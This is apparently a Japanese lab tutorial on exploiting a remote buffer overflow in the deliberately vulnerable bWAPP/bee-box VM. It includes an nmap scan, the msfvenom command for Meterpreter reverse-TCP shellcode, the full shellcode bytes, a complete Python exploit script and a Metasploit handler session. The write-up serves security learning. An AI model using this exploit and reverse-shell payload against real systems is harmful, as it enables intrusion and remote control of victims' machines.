リモートバッファオーバーフローの流れは?bWAPP で検証してみる

WEBアプリケーション

この記事では、リモートバッファオーバーフローについて実際の攻撃の流れを交えて説明します。

なお、以下の環境で擬似ハッキングを行います。

役割端末IP アドレス
攻撃端末Kali linux10.0.0.106
ターゲット端末bee-box (bWAPP)10.0.0.105

bWAPP のインストールについては以下記事をご覧ください。

リモートバッファオーバーフローとは?

外部のサーバに対してバッファオーバーフローの脆弱性を突いて任意のコードを実行させる攻撃を「リモートバッファオーバーフロー」と言います。

では、バッファオーバーフローの脆弱性とはなんでしょうか。

バッファオーバーフローは、コンピュータのメモリ上の領域(バッファ)よりも大きなデータが渡された場合に別のバッファに溢れてしまうことを指します。

バッファオーバーフローのメカニズムを知るには、このバッファの概念を知る必要があります。
例えば、以下のようなプログラムがあったとします。

関数A {
        関数B ①
     test1 を出力 ③
        関数B ④
     test2 を出力 ⑥
   }

関数B {
      return ② ⑤
   }

関数Aの流れは以下になります。
 ① 1つめの関数Bを実行
 ②関数Bから関数Aに戻る
 ③test1 を出力
 ④2つめの関数Bを実行
 ⑤関数Bから関数Aに戻る
 ⑥test2 を出力

②⑤で同じ関数を実行しているのに戻る位置が異なっていることがわかります。
それはなぜかと言うと、バッファに戻る位置を記憶させているからです。

バッファはその他にも変数を記憶させる用途にも使います。

このバッファですが、それぞれサイズが決まっており、システムが意図しない大きさのデータが入力されると別のバッファのデータまで上書きしてしまいます。

例えば上記の例で言うと、あるバッファのサイズが 20 バイトしかないのに 100バイトのデータを入力すると、80 バイト分が溢れて 関数Bの戻り位置が格納されたバッファに溢れ分のデータが上書きされてしまいます。
そうなった場合、関数Bの実行時の位置に戻れなくなっていまい、正常にプログラムが処理できないといったことに陥ります。

また、溢れ分のデータを調整してデータを入力することで、後続の「バッファA」に悪意のあるコードを格納し、その後続にある戻り位置格納用の「バッファB」に「バッファA」のアドレスを上書きするといったこともできます。
そうすることで、サーバに悪意のあるコードを実行させるといったことも可能になるのです。

かなりざっくりですが、バッファオーバーフローは上記の考えで攻撃が行われます。詳細に知りたい方は、以下の URL が参考になると思います。

Buffer Over Flowの基礎
概要
6-1. バッファオーバーラン その1「こうして起こる」

実際に攻撃を行うことで、より理解を深めていきたいと思います。

bWAPP の Buffer Overflow (Remote) ページを開く

バッファオーバーフロー攻撃を行うため、bWAPP の Buffer Overflow (Remote)を表示します。

Kali で Firefox を起動し URL 部に「http://10.0.0.105/bWAPP」を入力し、 bWAPP にアクセスします。

bWAPP のログインページが開くので以下の通り入力し、ログインします。

Login: bee
Password: bug
Set the security level: low

以下の画像のように「Choose your bug:」箇所か”Buffer Overflow (Remote)”を選択し Hack をクリックします。

クリック後以下のページが表示されます。

bWAPP にリモートバッファオーバーフローの脆弱性があること、攻撃プログラムのヒントが書かれています。

bee-box をポートスキャンする

まず、bee-box で何のサービスが稼働しているかをポートスキャンで確認します。

Kali で nmap コマンドを用いてポートスキャンを行います。

root@kali:~# nmap -p 1-1024 10.0.0.105 -T5
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-22 02:35 EDT
Nmap scan report for 10.0.0.105
Host is up (0.0012s latency).
Not shown: 1013 closed ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
139/tcp open  netbios-ssn
443/tcp open  https
445/tcp open  microsoft-ds
512/tcp open  exec
513/tcp open  login
514/tcp open  shell
666/tcp open  doom
MAC Address: 08:00:27:6C:BA:8F (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.31 seconds
root@kali:~#

「666/tcp open doom」のサービスはあまり見かけず怪しいため、接続してみます。

root@kali:~# nc 10.0.0.105 666

*** bWAPP Movie Service ***
Matching movies: 10
G.I. Joe: Retaliation:2013:Cobra Commander:action:tt1583421
Iron Man:2008:Tony Stark:action:tt0371746
Man of Steel:2013:Clark Kent:action:tt0770828
Terminator Salvation:2009:John Connor:sci-fi:tt0438488
The Amazing Spider-Man:2012:Peter Parker:action:tt0948470
The Cabin in the Woods:2011:Some zombies:horror:tt1259521
The Dark Knight Rises:2012:Bruce Wayne:action:tt1345836
The Fast and the Furious:2001:Brian O'Connor:action:tt0232500
The Incredible Hulk:2008:Bruce Banner:action:tt0800080
World War Z:2013:Gerry Lane:horror:tt0816711
root@kali:~#

bWAPP の Movie Service(?)のようです。このサービスにバッファオーバーフロー攻撃を仕掛けてみましょう。

攻撃用プログラムを作成する

ヒントを確認する

Buffer Overflow (Remote) ページのヒントを見てみましょう。

HINT: \x90*354 + \xa7\x8f\x04\x08 + [payload]

このデータを入力すると、バッファから溢れてペイロードが実行されることを示しています。

具体的には、「\x90」を354回送信するとバッファ溢れを起こし「\xa7\x8f\x04\x08」が命令ポインタに格納されます。
さらに命令ポインタにも入り切らなかったデータ「[payload]」が別のバッファに格納されます。

命令ポインタとは次に実行する命令のアドレスを保持しているのですが、ここに格納される「\xa7\x8f\x04\x08」は「[payload]」が格納されるバッファのアドレスを指しています。
したがって、ヒントにある入力値を bee-box に送信することで、ペイロードが実行されます。

そのため、ペイロードを用意してヒントのデータを送信するプログラムを作成することで、リモートバッファオーバーフロー攻撃を行うことができます。

ペイロードを作成する

それではまずペイロードを作成します。以下コマンドでペイロードを作成できます。

msfvenom LHOST=<Kali の IP アドレス> LPORT=<待受ポート> -p linux/x86/meterpreter/reverse_tcp -b ‘\x00’ -f py

「-p linux/x86/meterpreter/reverse_tcp」で Linux 用のリバースシェルを指定しており、「-f py」で実行形式を Python に指定しています。
「-b ‘\x00’」は、サーバが解釈できない場合があるNULL文字を生成しないために付与しています。

root@kali:~# msfvenom LHOST=10.0.0.106 LPORT=4448 -p linux/x86/meterpreter/reverse_tcp -b '\x00' -f py
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 150 (iteration=0)
x86/shikata_ga_nai chosen with final size 150
Payload size: 150 bytes
Final size of py file: 743 bytes
buf =  b""
buf += b"\xda\xd8\xba\x2f\xd7\x6c\x69\xd9\x74\x24\xf4\x58\x29"
buf += b"\xc9\xb1\x1f\x83\xe8\xfc\x31\x50\x16\x03\x50\x16\xe2"
buf += b"\xda\xbd\x66\x37\x15\x99\x80\x24\x06\x5e\x3c\xc1\xaa"
buf += b"\xd0\xa4\x9c\x4b\xdd\xa9\x08\xd0\xb6\xa3\x36\xe6\x2c"
buf += b"\xdc\x34\xe6\xa1\x7c\xb0\x07\xab\x1a\x9a\x97\x7d\xb4"
buf += b"\x93\xf6\x3d\xf7\x24\x7d\x01\x7e\x3c\x33\xf6\xbc\x56"
buf += b"\x69\xf6\xbe\xa6\x35\x9d\xbe\xcc\xc0\xe8\x5c\x21\x03"
buf += b"\x27\x22\xc7\x53\xc1\x9e\x23\x74\x80\xe6\x0a\x7a\xf4"
buf += b"\xe8\x6c\xf3\x17\x29\x87\x0f\x19\x49\x54\xbf\xe4\x43"
buf += b"\xe5\x3a\xd6\x24\xf6\x1f\x5e\x35\x6f\x2d\x0a\x06\x93"
buf += b"\x9c\x4b\xe3\x54\x66\x4e\x13\xb5\x2e\x4f\xeb\x36\x4e"
buf += b"\xeb\xea\x36\x4e\x0b\x20\xb6"
root@kali:~#

Python のプログラムを作成する

次に、「\x90*354 + \xa7\x8f\x04\x08 + [payload]」を送信する Python のプログラムを作成します。

コードは以下になります。
※『』で補足しています。実際のコードからは消してください。

#!/usr/bin/python

『ライブラリをインポート』
import sys
import socket

『msfvenom で生成したペイロードを貼り付け』
buf =  b""
buf += b"\xda\xd8\xba\x2f\xd7\x6c\x69\xd9\x74\x24\xf4\x58\x29"
buf += b"\xc9\xb1\x1f\x83\xe8\xfc\x31\x50\x16\x03\x50\x16\xe2"
buf += b"\xda\xbd\x66\x37\x15\x99\x80\x24\x06\x5e\x3c\xc1\xaa"
buf += b"\xd0\xa4\x9c\x4b\xdd\xa9\x08\xd0\xb6\xa3\x36\xe6\x2c"
buf += b"\xdc\x34\xe6\xa1\x7c\xb0\x07\xab\x1a\x9a\x97\x7d\xb4"
buf += b"\x93\xf6\x3d\xf7\x24\x7d\x01\x7e\x3c\x33\xf6\xbc\x56"
buf += b"\x69\xf6\xbe\xa6\x35\x9d\xbe\xcc\xc0\xe8\x5c\x21\x03"
buf += b"\x27\x22\xc7\x53\xc1\x9e\x23\x74\x80\xe6\x0a\x7a\xf4"
buf += b"\xe8\x6c\xf3\x17\x29\x87\x0f\x19\x49\x54\xbf\xe4\x43"
buf += b"\xe5\x3a\xd6\x24\xf6\x1f\x5e\x35\x6f\x2d\x0a\x06\x93"
buf += b"\x9c\x4b\xe3\x54\x66\x4e\x13\xb5\x2e\x4f\xeb\x36\x4e"
buf += b"\xeb\xea\x36\x4e\x0b\x20\xb6"

『命令ポインタにヒントのアドレスを代入』
ret = "\xa7\x8f\x04\x08"

『ペイロードを実行する際に最初の数文字を無視する特性があるため'\x90'を16回送信』
payload = '\x90' * 16 + buf

『ヒントにあったデータを代入』
buffer = 'A' * 354 + ret + payload

『引数が1つだったら文字列を出力』
argvs = sys.argv
argc = len(argvs)
if argc != 2:
	print 'Usage: # python %s ip-address' % argvs[ 0]
	quit()

『引数で指定したIPアドレスに接続』
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

message1 = "[+] Connecting..."
print "\033[ 1; 32; 48 m" + message1
port = 666
s.connect((argvs[1],port))

『bufferを接続先に送信』
message2 = "[+] Sending exploit code..."
print "\033[1;32;48m" + message2
s.send(buffer)
data = s.recv(1024)

『終了』
s.close()

リバースシェルを待ち受ける

Kali でリバースシェルを待ち受けます。
Metasploit を起動します。

root@kali:~# msfconsole
---中略---
msf5 >

ペイロードをセットし、実行します。

msf5 > use multi/handler
msf5 exploit(multi/handler) > set lhost 10.0.0.106
lhost => 10.0.0.106
msf5 exploit(multi/handler) > set lport 4448
lport => 4448
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.0.106:4448 

攻撃プログラムを実行する

Kali の別ターミナルで、作成した Python 形式のプログラムを実行します。

root@kali:~# python /root/Desktop/666_exploit.py 10.0.0.105
[+] Connecting...
[+] Sending exploit code...

コードを送信している旨のメッセージが出力されています。
もう一方のターミナルを見てみましょう。

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.0.106:4448 
[*] Sending stage (985320 bytes) to 10.0.0.105
[*] Meterpreter session 1 opened (10.0.0.106:4448 -> 10.0.0.105:42308) at 2020-04-22 04:15:01 -0400

meterpreter >

セッションが確立されています。リモートバッファオーバーフロー攻撃が成功しました。

ヒントがなければそもそもコードを作成できないようにも思えますが、以下 URL に記載の方法で送信するデータを導き出すことができます。

Buffer Over Flowの基礎
概要

メモリ周りの知識が必要になりレベルは高いですが、ここまでできるようにステップアップしていきたいです。

今回は以上です。

くどり

この記事は「ハッキング・ラボのつくりかた 第7章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。

コメント

タイトルとURLをコピーしました